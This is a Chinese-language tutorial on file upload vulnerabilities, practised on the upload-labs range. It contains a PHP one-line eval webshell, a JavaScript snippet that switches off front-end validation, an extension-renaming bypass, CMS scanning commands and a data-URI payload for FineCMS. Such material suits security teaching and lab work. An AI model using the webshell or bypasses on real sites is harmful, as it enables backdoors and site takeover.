文件上传之基础过滤方式

利用思路来源以下方向:

  1. 什么是文件上传漏洞

有文件上传就可以测试是否有漏洞,关键看代码是否完备。

比如上网搜索相关的上传路径:inurl:upload.php

  1. 漏洞危害

自定义网站后门,获取网站权限,属于高危漏洞。

  1. 如何查找判断

黑盒查找:不知道源代码情况下,通过目录扫描和网站应用,以及通过网站后台、会员中心进行获取权限,需要自己判断。

白盒查找:通过源代码分析文件上传漏洞。

判断:通过抓包分析

网站的目录扫描:御剑,dir等工具(扫描本地的一个上传靶场地址:http://upload-labs:8082/

下载地址是:https://github.com/c0ny1/upload-labshttps://github.com/c0ny1/upload-labs

然后我去尝试扫描第一关(没有upload.php自然也就扫不出来):

4.网站应用功能

---上传头像、图片、会员中心、上传视频

  1. 注意事项以及应用说明

文件上传的区分归类,是编辑器还是第三方应用,还是其它的,再进行后续测试

本地文件上传漏洞靶场环境搭建测试

  1. 第一关(本地前端验证)

2.尝试文件的上传(内容可以是一句话木马:<?php @eval($_POST['cmd']);?>,也可以直接PHP信息检测<?php phpinfo()?>)

3.查看上传的结果:上传1.php然后

提示:文件类型不正确,请重新上传!

4.查看本地前端源代码

复制代码
//定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";

这个代码很简单就可以绕过:

1.我可以直接删除或者禁用前端的这串代码,证明他的不存在,然后再去发送一个php文件就可以上传

2.bp抓包,修改后缀(上传一个1.jpg抓包修改成1.php)也能得到同样的效果

但是这里也有一个误区:

不是所有的情况都可以抓包,抓不了包的情况是:

  • 数据在浏览器内循环

  • 没有产生HTTP请求

  • 没有网络流量

  • BurpSuite无包可抓

尝试第一种方法上传文件:

复制代码
document.querySelector('form').onsubmit = null;

此时就能上传之前没有上传的1.php文件

尝试第二种方法上传文件:

php->png就行了

CMS 及 CVE 编号文件上传漏洞测试

CMS(内容管理系统)的文件上传漏洞测试是Web安全中的重要环节。

1. 信息收集阶段

识别CMS类
复制代码
# 使用工具识别CMS
whatweb http://target.com(kali)
复制代码
wpscan --url http://target.com  # WordPress
joomscan -u http://target.com   # Joomla
droopescan scan drupal -u http://target.com  # Drupal

2. 常见CMS上传漏洞点

WordPress
复制代码
# 常见上传路径
/wp-admin/media-new.php
/wp-admin/async-upload.php
/wp-content/uploads/
/wp-admin/plugin-install.php
Joomla
复制代码
/components/com_media/
/images/
/templates/
Drupal
复制代码
/admin/content/media
/user/[uid]/edit  # 头像上传

比如去找finecms文件漏洞的信息(Finecms SQL注入漏洞 (CVE-2018-6893)):

preg_match('/^(data:\s*image\/(\w+);base64,)/', file, result);

if ($result) {

ext = result[2]; // 获取图片类型作为扩展名

filename = time().'.'.ext;

// 保存文件...

}

发现正则表达式尝试绕过:data:image/php;base64,PD9waHAgcGhwaW5mbygpPz4==

这样抓包修改成把image/jpeg 改成image/php 然后加入正确的路径就可以得到数据

Weblogic简介(相当于Java开发的第三方应用)

---用于部署网站的第三方应用,相当于nginx,Apache等中间件,也类似于中间件存在文件上传漏洞。(WebLogic 后台弱⼝令GetShell(weak_password ))

相关推荐
科技块儿15 小时前
【账号安全预警】如何基于IP查询进行登录异常识别、账号防盗?
网络协议·tcp/ip·安全
emma羊羊16 小时前
【AWVS】漏扫工具
网络·安全·web安全·awvs
网安INF18 小时前
入侵检测系统(IDS)解析
网络·网络协议·安全·网络安全·ids
catoop19 小时前
网站安全加固:优化 Nginx 安全头配置
nginx·安全
萤丰信息20 小时前
数智重构生态:智慧园区引领城市高质量发展新范式
java·大数据·人工智能·安全·智慧城市
网安INF20 小时前
典型网络攻击分析:ARP欺骗与TCP劫持
网络·网络协议·tcp/ip·安全·网络安全
一RTOS一20 小时前
我国工业通信自主化突破催生“亿级”市场,筑牢新型工业化安全与发展基石
安全·鸿道操作系统·鸿道实时操作系统·国产嵌入式操作系统选型
九月生21 小时前
基于 Sa-Token 实现 API 接口签名校验(Spring Boot 3 实战)
web安全·springboot
爱编程的小吴21 小时前
华为云安全配置检查清单
安全·华为云